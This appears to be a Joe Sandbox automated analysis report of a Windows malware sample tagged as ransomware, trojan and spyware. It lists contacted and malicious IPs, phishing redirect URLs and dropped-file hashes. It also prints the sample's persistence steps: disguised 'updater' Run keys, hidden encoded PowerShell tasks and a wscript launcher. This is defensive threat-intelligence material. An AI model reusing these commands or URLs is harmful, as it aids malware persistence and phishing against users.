World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.192.56.26	unknown	Russian Federation	12695	DINET-ASRU	false
87.240.132.78	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
104.192.108.17	unknown	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
172.67.147.32	unknown	United States	13335	CLOUDFLARENETUS	false
199.232.210.172	unknown	United States	54113	FASTLYUS	false
104.20.3.235	unknown	United States	13335	CLOUDFLARENETUS	false
108.156.60.116	unknown	United States	16509	AMAZON-02US	false
99.86.249.120	unknown	United States	16509	AMAZON-02US	false
147.45.47.149	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
20.101.57.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.89.179.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
91.202.233.231	unknown	Russian Federation	9009	M247GB	true
91.202.233.232	unknown	Russian Federation	9009	M247GB	false
104.20.4.235	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.19.24	unknown	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
108.156.60.18	unknown	United States	16509	AMAZON-02US	false
146.70.56.165	unknown	United Kingdom	2018	TENET-1ZA	false
45.129.96.86	unknown	Estonia	208440	GMHOST-EE	true
66.85.156.89	unknown	United States	20454	SSASN2US	true
54.76.174.118	unknown	United States	16509	AMAZON-02US	false
34.117.186.192	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
18.184.178.29	unknown	United States	16509	AMAZON-02US	false
54.77.42.29	unknown	United States	16509	AMAZON-02US	false
104.26.9.59	unknown	United States	13335	CLOUDFLARENETUS	false
185.172.128.159	unknown	Russian Federation	50916	NADYMSS-ASRU	false
37.221.125.202	unknown	Lithuania	62416	PTSERVIDORPT	false
151.236.127.172	unknown	Russian Federation	57363	CDNVIDEO-ASRU	false
151.236.118.173	unknown	Russian Federation	204720	CDNETWORKSRU	false
13.227.219.114	unknown	United States	16509	AMAZON-02US	false
108.156.60.43	unknown	United States	16509	AMAZON-02US	false
95.142.206.3	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.0	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.2	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.1	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
40.126.31.69	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
5.42.66.47	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
207.180.242.32	unknown	Germany	51167	CONTABODE	false
185.172.128.82	unknown	Russian Federation	50916	NADYMSS-ASRU	false
104.192.108.20	unknown	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
40.119.148.38	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
93.184.221.240	unknown	European Union	15133	EDGECASTUS	false
20.190.159.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.227.219.55	unknown	United States	16509	AMAZON-02US	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
13.227.219.51	unknown	United States	16509	AMAZON-02US	false
13.227.219.18	unknown	United States	16509	AMAZON-02US	false
190.224.203.37	unknown	Argentina	7303	TelecomArgentinaSAAR	true
103.146.158.221	unknown	unknown	135763	GAYATRI-ASGAYATRICOMMUNICATIONSIN	false
104.21.4.208	unknown	United States	13335	CLOUDFLARENETUS	false
45.130.41.108	unknown	Russian Federation	198610	BEGET-ASRU	false
108.156.60.9	unknown	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447097
Start date and time:	2024-05-24 11:28:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	68
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	lgX7lgUL1w.exe renamed because original name is a hash value
Original Sample Name:	7ff8c26a36f5a4566990745dff1594f3.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@173/255@0/54
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 60% Number of executed functions: 102 Number of non-executed functions: 81
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, MoUsoCoreWorker.exe, WmiPrvSE.exe
Execution Graph export aborted for target AddInProcess32.exe, PID 3960 because it is empty
Execution Graph export aborted for target c12YwoiQ34lE0LgBRkxJOClX.exe, PID 7984 because there are no executed function
Execution Graph export aborted for target xJOdjN6fVDYC0Ta4cXD9JBiF.exe, PID 7280 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
05:28:58	API Interceptor	477x Sleep call for process: AddInProcess32.exe modified
05:28:58	API Interceptor	25x Sleep call for process: powershell.exe modified
05:29:06	API Interceptor	1x Sleep call for process: Install.exe modified
05:29:08	API Interceptor	2103x Sleep call for process: explorer.exe modified
05:29:13	API Interceptor	1x Sleep call for process: WMIC.exe modified
06:42:20	API Interceptor	17x Sleep call for process: c12YwoiQ34lE0LgBRkxJOClX.exe modified
06:42:28	API Interceptor	37x Sleep call for process: xJOdjN6fVDYC0Ta4cXD9JBiF.exe modified
06:42:29	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:29:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9KovXimwlIyW3P77uFXo41ye.bat
11:29:14	Task Scheduler	Run new task: bbmnnUCIPYyTQrzMQJ path: C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe s>it /fMDdidlBgf 385118 /S
11:29:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uM7NrUar2CHMPPLhTaEGJaiv.bat
12:42:15	Task Scheduler	Run new task: gMIzqrttR path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
12:42:15	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat
12:42:29	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
12:42:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
12:42:36	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
12:42:40	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
12:42:44	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
12:42:46	Task Scheduler	Run new task: XyyyteIMwZeutaZuw path: C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\EPuBTOk.exe s>GH /vfSzdidTZ 385118 /S
12:42:51	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
12:42:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\84ab4c18-5253-4582-bdd7-2f37f81a0157\iWX2pBM7OP8AKRlxpYxKCjxp.exe" --AutoStart
12:42:56	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
12:42:56	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\84ab4c18-5253-4582-bdd7-2f37f81a0157\iWX2pBM7OP8AKRlxpYxKCjxp.exe s>--Task
12:43:00	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
12:43:01	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
12:43:04	Task Scheduler	Run new task: Firefox Default Browser Agent 658609AC4E894E6C path: C:\Users\user\AppData\Roaming\hvfsedh
12:43:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
12:43:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe
12:43:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe
12:43:47	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run QHSafeTray "C:\Program Files (x86)\360\Total Security\safemon\360Tray.exe" /start
12:44:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
12:44:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\84ab4c18-5253-4582-bdd7-2f37f81a0157\iWX2pBM7OP8AKRlxpYxKCjxp.exe" --AutoStart
12:44:33	Task Scheduler	Run new task: zeKFSgsyWsBDI2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\VyWMmqtuSNndeGVB\paQaHhw.wsf^""

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.192.56.26	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26/api/flash.php
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	85.192.56.26/api/flash.php
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	85.192.56.26/api/flash.php
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26/api/flash.php
	5NlNJIHhTf.exe	Get hash	malicious	Unknown	Browse	85.192.56.26/api/flash.php
87.240.132.78	http://vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t	Get hash	malicious	Unknown	Browse	vk.com/away.php?to=https%3A%2F%2Fclubechique.com.br%2Fsigndocumentworking%2Freviewandaligntoday%2Findex.php%3Fuserid%3DYWFyb25wQG1hc3Rlcm1vbGRsbGMuY29t
	http://vk.com/away.php?to=https://suncrops.fr/old_site/jk/cz///i2tyrmi/JEHA@novozymes.com	Get hash	malicious	Unknown	Browse	vk.com/away.php?to=https://suncrops.fr/old_site/jk/cz///i2tyrmi/JEHA@novozymes.com
	http://vk.com/away.php?to=https%3a%2f%2fbwfldt.codesandbox.io/?bg=dmFsZXJ5QGNhc3VhbHRlay5jb20=	Get hash	malicious	HTMLPhisher	Browse	vk.com/away.php?to=https%3a%2f%2fbwfldt.codesandbox.io/?bg=dmFsZXJ5QGNhc3VhbHRlay5jb20=
	http://vk.com/away.php?to=http://ouk.voterstreams.sa.com/smith-nephew.com/c2NvdHQuaXJ2aW5Ac21pdGgtbmVwaGV3LmNvbQ==	Get hash	malicious	Unknown	Browse	away.vk.com/away.php
	http://vk.com/away.php?to=http://uio.doggoneknit.com/colt.net/a2VyaS5naWxkZXJAY29sdC5uZXQ=	Get hash	malicious	Unknown	Browse	away.vk.com/away.php
	ITSBi3J3ws.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	vk.com/
	QQNkZaudJn.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	vk.com/
	file.exe	Get hash	malicious	CryptOne, Djvu, RedLine, SmokeLoader	Browse	vk.com/
	09d9bb25f1d1bd6f7c3e3aa64df49eaa398e9f26b198e.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	vk.com/
	file.exe	Get hash	malicious	CryptOne, Djvu, SmokeLoader, Tofsee	Browse	vk.com/
104.192.108.17	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse
	2.exe	Get hash	malicious	SmokeLoader	Browse
	1.exe	Get hash	malicious	PureLog Stealer	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse
	Kaspersky Tweak Assistant 23.11.19.0 by Bambang[ZvKuKpm810].exe	Get hash	malicious	PrivateLoader	Browse
	https://baoku.360.cn/d/2000006826_9510044	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen21.32984.3267.17144.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Adware.Downware.20088.2915.4170.exe	Get hash	malicious	Unknown	Browse
	https://www.az-partners.net/apps/driver-hub/download?ap=28	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VKONTAKTE-SPB-AShttpvkcomRU	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	93.186.225.194
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	95.142.206.1
	1.exe	Get hash	malicious	PureLog Stealer	Browse	87.240.132.67
	SecuriteInfo.com.Trojan.Siggen28.47309.32751.2518.exe	Get hash	malicious	CryptOne, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar	Browse	93.186.225.194
	file.exe	Get hash	malicious	Amadey, Neoreklami, PureLog Stealer, zgRAT	Browse	87.240.132.67
	40UAEu1Kpt.exe	Get hash	malicious	LummaC, CryptOne, GCleaner, Glupteba, Mars Stealer, PrivateLoader, PureLog Stealer	Browse	95.142.206.1
	file.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	87.240.129.133
	https://parg.co/UTz4	Get hash	malicious	Unknown	Browse	93.186.225.194
	file300un.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	95.142.206.1
	https://vk.com/away.php?to=https://tracker.club-os.com///////campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398%26test=false%26target=neoparts.com.br/seyi/2xu1/c3VwcG9ydC5oaXBAZG90Lmdvdg==&$	Get hash	malicious	HTMLPhisher	Browse	93.186.225.194
CLOUDFLARENETUS	https://cdn.discordapp.com/attachments/1240386543366049835/1242103657005318176/Payment_Confirmation_pdf.jar?ex=664c9ead&is=664b4d2d&hm=54d3627edfa4f918ed4c901322596ec71ddb0e6ac7cbb7aadf61cb1f960538ab&	Get hash	malicious	Unknown	Browse	162.159.133.233
	http://waitroseentertainokpf.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://photographcrushingsouvenirs.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	B8Zt27YJRD.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.4.15
	SecuriteInfo.com.Win32.TrojanX-gen.9123.22048.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.12.112
	WaGiUWSpyO.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.4.15
	ufvxGe0K5E.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.5.15
	eoZWxnJJyo.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.4.15
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	188.114.96.3
	https://auth-logservicekmfjnslepiuruamnbvoaprjlpwrjworsds.tropicalsce.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
QIHOOBeijingQihuTechnologyCompanyLimitedCN	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	104.192.108.20
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse	104.192.108.17
	2.exe	Get hash	malicious	SmokeLoader	Browse	104.192.108.17
	1.exe	Get hash	malicious	PureLog Stealer	Browse	104.192.108.20
	SecuriteInfo.com.Trojan.Siggen21.32984.2198.9769.exe	Get hash	malicious	EICAR	Browse	104.192.108.23
	SecuriteInfo.com.PUA.RiskWare.Youxun.22766.22244.exe	Get hash	malicious	Unknown	Browse	101.198.3.102
	file.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	104.192.108.20
	Kaspersky Tweak Assistant 23.11.19.0 by Bambang[ZvKuKpm810].exe	Get hash	malicious	PrivateLoader	Browse	104.192.108.20
	https://baoku.360.cn/d/2000006826_9510044	Get hash	malicious	Unknown	Browse	101.198.3.25
	KSRRrEMt1w.elf	Get hash	malicious	Mirai	Browse	101.197.0.35
DINET-ASRU	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	85.192.56.26
	6uBxa0vGQt.elf	Get hash	malicious	Gafgyt	Browse	45.151.37.82
	1.exe	Get hash	malicious	PureLog Stealer	Browse	85.192.56.26
	eyKGju2MU8.elf	Get hash	malicious	Mirai	Browse	95.163.129.201
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	45.131.41.39
	SecuriteInfo.com.Trojan.Siggen28.47309.32751.2518.exe	Get hash	malicious	CryptOne, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar	Browse	85.192.56.26
	file.exe	Get hash	malicious	Amadey, Neoreklami, PureLog Stealer, zgRAT	Browse	85.192.56.26
	file.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	85.192.56.26
	file300un.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	85.192.56.26

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse
	2.exe	Get hash	malicious	SmokeLoader	Browse
	1.exe	Get hash	malicious	PureLog Stealer	Browse
C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse
	2.exe	Get hash	malicious	SmokeLoader	Browse
	1.exe	Get hash	malicious	PureLog Stealer	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235430683450853
Encrypted:	false
SSDEEP:	12288:5BXiKZWAAllNJheaP7Qata8EtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpc10:6+
MD5:	408AA66619FB0D7CD9C95B33A8D2DA95
SHA1:	C4BD971964263EDD9BBDC8D1413592F29C6206FA
SHA-256:	B324BEC24239379278148397399A6BB7AFA27F67D564DB62DBC4584E8FB6AFEB
SHA-512:	8893C9629BD399977AA65BE8BF48BBC658F45A7AA717FD99161608AD40844418ED11F78A0381817A5513C26FD6747CA45C0314532AB304995F61483BD8013C84
Malicious:	false
Preview:	.....R.7g./q.{...v.Ui..Of..G.R....$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235430683450853
Encrypted:	false
SSDEEP:	12288:5BXiKZWAAllNJheaP7Qata8EtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpc10:6+
MD5:	408AA66619FB0D7CD9C95B33A8D2DA95
SHA1:	C4BD971964263EDD9BBDC8D1413592F29C6206FA
SHA-256:	B324BEC24239379278148397399A6BB7AFA27F67D564DB62DBC4584E8FB6AFEB
SHA-512:	8893C9629BD399977AA65BE8BF48BBC658F45A7AA717FD99161608AD40844418ED11F78A0381817A5513C26FD6747CA45C0314532AB304995F61483BD8013C84
Malicious:	false
Preview:	.....R.7g./q.{...v.Ui..Of..G.R....$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2495.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	123358
Entropy (8bit):	3.0532365772064014
Encrypted:	false
SSDEEP:	3072:biIoJrC3xxZwfVnHGSgr696cNSOR3JJ+m+7+z+Ph++k+hvtS2+V+v+y+gF+J+sh0:a4
MD5:	B131341EF25445086275860C0FF638CA
SHA1:	A85ABCEAEA0D62E651B8712750F825CCE5668B40
SHA-256:	5936F97100E547E813D122C417C96F7C41E467369ACB01A4BBE4439FC0ED6C6A
SHA-512:	DC65203F11B18C679923E8BEB12B219D986D8979F8841E2AF5B3DA3AC6CC8D4E757A729DB48F134BD9EB77099B76D2690C7A78C0A38CBE2B8B4F288685B2B26A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29D5.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.7038384341392168
Encrypted:	false
SSDEEP:	96:TiZYWJKH+/gYOYnDQddHpYEZCrtNif7ow4UkwePgaEhkMcUPBItn5:2ZDMprg6m4aEhkMcUmtn5
MD5:	341A34F757BC3ABDD18C886E0902A9B2
SHA1:	14F150ADB6E20775FBD28C41269A71D01C4DCDA2
SHA-256:	139667D03432BE53DC816FBCD55BBE72A9CA5DC6FCD63B3697A6A10DB2F236D4
SHA-512:	2C1310D8B2E50CBA36985F288FECC722F1D46E7032301788E1C93A3B83F34A9FB192574963290A65D00B8EE1F9979FAE4882BC54CB956D7A0C4266484428E912
Malicious:	false
